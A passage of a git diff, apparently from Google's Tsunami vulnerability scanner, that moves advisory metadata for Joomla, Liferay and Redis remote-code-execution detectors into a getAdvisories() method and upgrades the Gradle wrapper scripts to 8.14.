.setSeverity(Severity.CRITICAL) - .setTitle("Joomla RCE via PHP object injection in HTTP headers (CVE-2015-8562)") - .setDescription( - "The Joomla application is vulnerable to CVE-2015-8562, which allow remote" - + " attackers to conduct PHP object injection attacks and execute" - + " arbitrary PHP code via the HTTP User-Agent header.") - .setRecommendation("Upgrade to Joomla 3.4.6 or greater.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/joomla/cve20158562/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562DetectorTest.java b/google/detectors/rce/joomla/cve20158562/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562DetectorTest.java index ffd9aa385..27f0154e7 100644 --- a/google/detectors/rce/joomla/cve20158562/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562DetectorTest.java +++ b/google/detectors/rce/joomla/cve20158562/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562DetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -100,21 +97,7 @@ public void detect_whenIsVulnerableJoomla_returnsVulnerability() throws IOExcept .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2015_8562")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Joomla RCE via PHP object injection in HTTP headers" - + " (CVE-2015-8562)") - .setDescription( - "The Joomla application is vulnerable to CVE-2015-8562, which allow" - + " remote attackers to conduct PHP object injection attacks and" - + " execute arbitrary PHP code via the HTTP User-Agent header.") - .setRecommendation("Upgrade to Joomla 3.4.6 or greater.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/joomla/rusty_rce/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/joomla/rusty_rce/gradlew b/google/detectors/rce/joomla/rusty_rce/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/joomla/rusty_rce/gradlew +++ b/google/detectors/rce/joomla/rusty_rce/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/joomla/rusty_rce/gradlew.bat b/google/detectors/rce/joomla/rusty_rce/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/joomla/rusty_rce/gradlew.bat +++ b/google/detectors/rce/joomla/rusty_rce/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/joomla/rusty_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetector.java b/google/detectors/rce/joomla/rusty_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetector.java index 3611914c0..2168fc9d4 100644 --- a/google/detectors/rce/joomla/rusty_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetector.java +++ b/google/detectors/rce/joomla/rusty_rce/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetector.java @@ -93,6 +93,23 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("JOOMLA_RUSTY_RCE")) + .setSeverity(Severity.CRITICAL) + .setTitle( + "Joomla RCE via PHP object injection in HTTP POST (Rusty RCE, no CVE assigned)") + .setDescription( + "The Joomla application is vulnerable to Rusty RCE, which" + + " allows remote unprivileged attackers to execute arbitrary" + + " PHP code.") + .setRecommendation("Upgrade to Joomla 3.4.7 or greater.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); targetUri = targetUri + VULNERABLE_ENDPOINT; @@ -198,20 +215,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JOOMLA_RUSTY_RCE")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Joomla RCE via PHP object injection in HTTP POST (Rusty RCE, no CVE assigned)") - .setDescription( - "The Joomla application is vulnerable to Rusty RCE, which" - + " allows remote unprivileged attackers to execute arbitrary" - + " PHP code.") - .setRecommendation("Upgrade to Joomla 3.4.7 or greater.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/joomla/rusty_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetectorTest.java b/google/detectors/rce/joomla/rusty_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetectorTest.java index fb8f9c402..99b2c5690 100644 --- a/google/detectors/rce/joomla/rusty_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetectorTest.java +++ b/google/detectors/rce/joomla/rusty_rce/src/test/java/com/google/tsunami/plugins/detectors/rce/joomla/rustyrce/JoomlaRustyRCEDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -102,21 +99,7 @@ public void detect_whenIsVulnerableJoomla_returnsVulnerability() throws IOExcept .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JOOMLA_RUSTY_RCE")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Joomla RCE via PHP object injection in HTTP POST (Rusty RCE, no CVE" - + " assigned)") - .setDescription( - "The Joomla application is vulnerable to Rusty RCE, which" - + " allows remote unprivileged attackers to execute arbitrary" - + " PHP code.") - .setRecommendation("Upgrade to Joomla 3.4.7 or greater.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/liferay_portal/cve20207961/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/liferay_portal/cve20207961/gradlew b/google/detectors/rce/liferay_portal/cve20207961/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/liferay_portal/cve20207961/gradlew +++ b/google/detectors/rce/liferay_portal/cve20207961/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/liferay_portal/cve20207961/gradlew.bat b/google/detectors/rce/liferay_portal/cve20207961/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/liferay_portal/cve20207961/gradlew.bat +++ b/google/detectors/rce/liferay_portal/cve20207961/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/liferay_portal/cve20207961/src/main/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961Detector.java b/google/detectors/rce/liferay_portal/cve20207961/src/main/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961Detector.java index 25f793c77..b5beba064 100644 --- a/google/detectors/rce/liferay_portal/cve20207961/src/main/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961Detector.java +++ b/google/detectors/rce/liferay_portal/cve20207961/src/main/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961Detector.java @@ -98,6 +98,23 @@ public final class PortalCve20207961Detector implements VulnDetector { } } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2020_7961")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-7961")) + .setTitle("Liferay Portal Pre-Auth RCE Vulnerability (CVE-2020-7961)") + .setDescription( + "Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2" + + " allows remote attackers to execute arbitrary code via JSON web" + + " services (JSONWS).") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -194,16 +211,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2020_7961")) - .setSeverity(Severity.CRITICAL) - .setTitle("Liferay Portal Pre-Auth RCE Vulnerability (CVE-2020-7961)") - .setDescription( - "Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2" - + " allows remote attackers to execute arbitrary code via JSON web" - + " services (JSONWS).")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } diff --git a/google/detectors/rce/liferay_portal/cve20207961/src/test/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961DetectorTest.java b/google/detectors/rce/liferay_portal/cve20207961/src/test/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961DetectorTest.java index 8880b5952..3eb188f1a 100644 --- a/google/detectors/rce/liferay_portal/cve20207961/src/test/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961DetectorTest.java +++ b/google/detectors/rce/liferay_portal/cve20207961/src/test/java/com/google/tsunami/plugins/detectors/rce/portal/cve20207961/PortalCve20207961DetectorTest.java @@ -35,12 +35,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Duration; import java.util.Queue; @@ -200,18 +197,7 @@ public void detect_withSleepRCE_returnsDetection() throws Exception { .setTargetInfo(targetInfo) .setNetworkService(networkServices.get(0)) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2020_7961")) - .setSeverity(Severity.CRITICAL) - .setTitle("Liferay Portal Pre-Auth RCE Vulnerability (CVE-2020-7961)") - .setDescription( - "Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1 CE GA2" - + " allows remote attackers to execute arbitrary code via JSON web" - + " services (JSONWS).")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); DetectionReportList reports = detector.detect(targetInfo, networkServices); diff --git a/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/redis/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/redis/gradlew b/google/detectors/rce/redis/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/redis/gradlew +++ b/google/detectors/rce/redis/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/redis/gradlew.bat b/google/detectors/rce/redis/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/redis/gradlew.bat +++ b/google/detectors/rce/redis/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/redis/src/main/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetector.java b/google/detectors/rce/redis/src/main/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetector.java index 8a909143c..a8f0b09ce 100644 --- a/google/detectors/rce/redis/src/main/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetector.java +++ b/google/detectors/rce/redis/src/main/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetector.java @@ -114,6 +114,25 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("REDIS_UNAUTHENTICATED_COMMAND_EXECUTION")) + .setSeverity(Severity.CRITICAL) + .setTitle("Redis unauthenticated command execution") + .setDescription(VULN_DESCRIPTION) + .setRecommendation(VULN_RECOMMENDATION) + .addAdditionalDetails(details) + .build(); + } + private boolean isTransportProtocolTcp(NetworkService networkService) { return TransportProtocol.TCP.equals(networkService.getTransportProtocol()); } @@ -163,19 +182,11 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("REDIS_UNAUTHENTICATED_COMMAND_EXECUTION")) - .setSeverity(Severity.CRITICAL) - .setTitle("Redis unauthenticated command execution") - .setDescription(VULN_DESCRIPTION) - .setRecommendation(VULN_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setDescription("response (first 100 bytes)") - .setTextData(TextData.newBuilder().setText(probingDetails.response)))) + getAdvisory( + AdditionalDetail.newBuilder() + .setDescription("response (first 100 bytes)") + .setTextData(TextData.newBuilder().setText(probingDetails.response)) + .build())) .build(); } } diff --git a/google/detectors/rce/redis/src/test/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetectorTest.java b/google/detectors/rce/redis/src/test/java/com/google/tsunami/plugins/detectors/rce/redis/RedisUnauthenticatedCommandExecutionDetectorTest.java index 28cbfd941..4be4c1a71 100644 --- 